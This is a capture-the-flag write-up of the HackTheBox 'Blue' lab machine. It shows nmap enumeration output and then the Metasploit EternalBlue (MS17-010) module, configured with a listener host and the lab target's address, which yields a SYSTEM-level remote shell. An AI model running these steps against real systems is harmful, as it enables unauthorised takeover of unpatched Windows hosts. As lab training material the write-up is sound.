HackTheBox - Blue
Description
Hello hackers, I hope you are doing well. We are doing Blue from HackTheBox.
Enumeration
nmap
We start a nmap scan using the following command: sudo nmap -sC -sV -T4 {target_IP}.
-sC: run all the default scripts.
-sV: Find the version of services running on the target.
-T4: Aggressive scan to provide faster results.
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Nmap scan report for 10.10.10.40 (10.10.10.40)
Host is up (0.14s latency).
Not shown: 991 closed tcp ports (reset)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2022-08-09T10:02:42
|_ start_date: 2022-08-09T09:57:35
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: haris-PC
| NetBIOS computer name: HARIS-PC\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2022-08-09T11:02:39+01:00
|_clock-skew: mean: -19m57s, deviation: 34m37s, median: 1s
We have a windows machine with SMB open, as well as other things.
Foothold
Since the machine is named Blue and we have a windows machine, i directly though of the Eternal-Blue exploit.
Let’s fire up Metasploit and use the ms17_010_eternalblue module.
Now we need to set the required option.
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set LHOST tun0
set rhosts 10.10.10.40
Type exploit to run the module.
Great! We got a shell, and we’re Authority System so no need for privilege escalation.
Thank you for taking the time to read my write-up, I hope you have learned something from this. If you have any questions or comments, please feel free to reach out to me. See you in the next hack :).